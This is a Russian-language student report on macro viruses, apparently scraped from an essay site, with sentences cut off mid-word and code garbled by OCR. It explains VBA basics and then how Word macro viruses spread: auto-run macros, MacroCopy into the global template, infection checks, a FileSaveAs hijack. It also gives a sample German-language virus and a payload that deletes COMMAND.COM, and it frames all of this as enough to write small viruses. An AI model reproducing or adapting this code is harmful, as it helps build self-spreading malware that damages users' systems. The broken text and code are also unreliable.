Главная Рефераты по рекламе Рефераты по физике Рефераты по философии Рефераты по финансам Рефераты по химии Рефераты по хозяйственному праву Рефераты по цифровым устройствам Рефераты по экологическому праву Рефераты по экономико-математическому моделированию Рефераты по экономической географии Рефераты по экономической теории Рефераты по этике Рефераты по юриспруденции Рефераты по языковедению Рефераты по юридическим наукам Рефераты по истории Рефераты по компьютерным наукам Рефераты по медицинским наукам Рефераты по финансовым наукам Рефераты по управленческим наукам Психология и педагогика Промышленность производство Биология и химия Языкознание филология Издательское дело и полиграфия Рефераты по краеведению и этнографии Рефераты по религии и мифологии Рефераты по медицине Рефераты по сексологии Рефераты по информатике программированию Краткое содержание произведений |
Доклад: МакровирусыДоклад: МакровирусыМАКРО-ВИРУСЫ В этой главе рассказано Как известно, в последнее время большое распространение получили Инструментарий Для изучения макро-вирусов понадобится некоторое программное обес- Чтобы обезопасить рабочие файлы от плодов экспериментов, настоя- Общие сведения Макрос - это программа, написанная на некотором языке, которая ис- Далее будем считать стандартным языком VBA, так как он представля- Макрос VBA - это вызываемые процедуры. Они бывают двух типов: процедуры-подпрограммы и процедуры-функции. Процедуры-подпрограммы могут исполняться непосредственно или вы- Sub <Имя_Макроса> -> код макроса <- 'Комментарий начинается с апострофа End Sub Пример; 'Данный макрос открывает диалоговое окно и выводит сообщение Sub Stupid_Greeting MsgBox "Hello World!" End Sub Процедуры-функции (также называемые просто функциями) возвраща- Function <Имя_Функции>(Аргументы) Пример: 'Суммирует параметры а и b и возвращает Конечно, в документ можно вставить столько макросов, сколько нужно Язык VBA работает также с объектами (внутри модулей VBA можно VBA также позволяет работать с переменными. Как любой язык струк- цикл "For-next": Sub Counter "Процедура lnfect_Num=0 For Count=1 to 10 'Цикл от 1 до 10 lnfect_Num=lnfect_Num+Count Next Count MsgBox "Достигли максимального количества заражений" End Sub 4-1436 условие "If-then": Sub lnfect_Check If lnfect_Num=0 Then MsgBox "Файл не заражен" End Sub конструкция "With-end with" (используется для работы с несколькими Sub ChangeProperties .Font.Colorlndex=3 'красный цвет селектор "Select case-end case": Sub CheckJnfection Select Case lnfect_Num Case 0 MsgBox "Файл не заражен" Case is > О MsgBox "Файл заражен" Case is < О lnfect_Num=0 End Case End Sub Полезным инструментом для работы с VBA является окно отладки. Нужно обратить внимание на разнообразные аргументы функций. Function <Имя>(Аргументы) [.] Аргументами могут быть константы, переменные или выражения. Function Get_Name() Некоторые функции всегда требуют фиксированное число аргументов После того, как основы VBA стали понятны, идем дальше. Итак, виру- Язык VBA универсален, и тому есть две причины. Во-первых, этот язык Помимо этого, преимуществом VBA является свойство переносимости. VBA представляет собой язык, адаптированный к языку приложения, Первый макрос (испанский): Sub Demo_Macro Второй макрос (английский): Sub Demo_Macro 4* End With Последний макрос не будет работать в испанской версии WinWord Существуют функции, единые для всех версий VBA, вне зависимости Всего таких специальных макросов пять, выполняются они автомати- AutoExec: это макрос, активируемый при загрузке текстового процессо- AutoNew: активизируется при создании нового документа; AutoOpen: активизируется при открытии существующего документа; AutoClose: активизируется при закрытии документа; AutoExit: активизируется при выходе из текстового процессора. В качестве доказательства силы и универсальности этих макросов рас- 'Макрос наиболее эффективен, если его сохранить как AutoExit 'Проверим регистрационное имя 'Снимем атрибуты COMMAND.COM 'Откроем для проверки - вдруг появятся ошибки 'Если ошибки есть, то закроем. 'и удалим Kill "CACOMMAND.COM" End If 'Проверим месяц и дату. Если 29 февраля, то выполним Что делает этот макрос? При выходе из WinWord он проверяет два па- Очень важно знать, как адаптировать автоматический макрос (ниже Это делается так: Определяется переменная, в которую записывается полное имя макроса: name$=WindowName$()+":AutoNew" 'этот макрос будет выполняться каждый раз 'при создании нового документа Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко- MacroCopy name$, "Global:AutoNew" Это стандартный способ работы макро-вирусов, но есть еще много дру- MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1 Если выполняется команда MacroCopy с параметром, равным 1 (или Большинство макро-вирусов имеют типичную структуру. Они начина- Код для процедуры автовыполнения может выглядеть примерно так: Sub MAIN On Error Goto Abort iMacroCount=CountMacros(0, 0) 'Проверка на зараженность For i=1 To iMacroCount If MacroName$(i, 0, 0)="PayLoad" Then binstalled =-1 'с помощью макроса Payload End If If MacroName$(i, 0, 0)="FileSaveAs" Then bTooMuchTrouble =-1 'но если есть макрос FileSaveAs, End If Next i If Not binstalled And Not bTooMuchTrouble Then 'Добавим макросы FileSaveAs и копии AutoExec и FileSave iWW6llnstance=Val(GetDocumentVar$("WW6lnfector")) sMe$=FileName$() Macro$=sMe$+":PayLoad" MacroCopy Macro$, "Global:PayLoad", 1 Macro$=sMe$+":FileOpen" 'Будет происходить заражение MacroCopy Macro$, "GlobahFileOpen", 1 Macro$=sMe$+":FileSaveAs" MacroCopy Macro$, "GlobahFileSaveAs", 1 Macro$=sMe$+":AutoExec" MacroCopy Macro$, "GlobahAutoExec", 1 SetProfileString "WW6I", Str$(iWW6llnstance+1) End If Abort: End Sub Процедура SaveAs Она копирует макро-вирус в активный документ при его сохранении Sub MAIN Dim dig As FileSaveAs GetCurValues dig Dialog dig If (Dlg.Format=0) Or (dlg.Format=1) Then MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs" 'Заражает при сохранении документа 'При открытии документа FileDaveAs dig Этой информации вполне достаточно для создания небольших макро- Специальные процедуры Существует несколько способов скрыть вирус или сделать его более Sub MAIN OldName$=NomFichier$() If macros.bDebug Then MsgBox "start ToolsMacro" Dim dig As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dig If macros.bDebug Then MsgBox "2" On Error Goto Skip On Error Goto ErrorRoutine 'При ошибке на выход REM enable automacros macros. SavToGlobal(01dName$) macros.objectiv Goto Done 'Переход на метку Done ErrorRoutine: On Error Goto Done "Переход на метку Done MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке Done: End Sub Макро-вирусы также могут включать внешние процедуры. Например, Пример макро-вируса Выше были изложены основы для изучения макро-вирусов. Пришло Macro name: AutoNew [AUTONEW] "U" 'Включаем обработку автоматических макросов 'Проверим, установлен ли макрос. Если макрос AutoExec 'Заразим. Копируем макрос MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1 MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1 MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1 MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1 MacroCopy WindowName$()+":DateiSpeichernUnter", "Global.-DateiSpeichernllnter", 1 MacroCopy WindowName$()+":DateiBeenden", "GlobahDateiBeenden", 1 MacroCopy WindowName$() + ": ExtrasOptionen ", "Global :ExtrasOptionen", 1 MacroCopy WindowName$()+":DateiDokvorlagen", "GlobaLDateiDokvorlagen", 1 MacroCopy WindowName$()+":lt", "Global:lt", 1 MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1 End If End Sub 'Функция проверяет, инсталлирован ли макрос AutoExec 'Установим переменную Installed в 0 (инициализация переменной). 'Проверим, есть ли макросы "Проверим имена макросов. Если есть AutoExec, "установим переменную Installed в 1 For i=1 To CountMacros(O) If MacroName$(i, 0)="AutoExec" Then lnstalled=1 End If Next i End If End Function Function Forgetit Forgetlt=0 Section$="Compatibility" ProfilName$="Nomvir" BlaBla$=GetProfileString$(Section$, ProfilName$) If BlaBla$="Ox0690690" Then Forgetlt=1 End If End Function |
|
|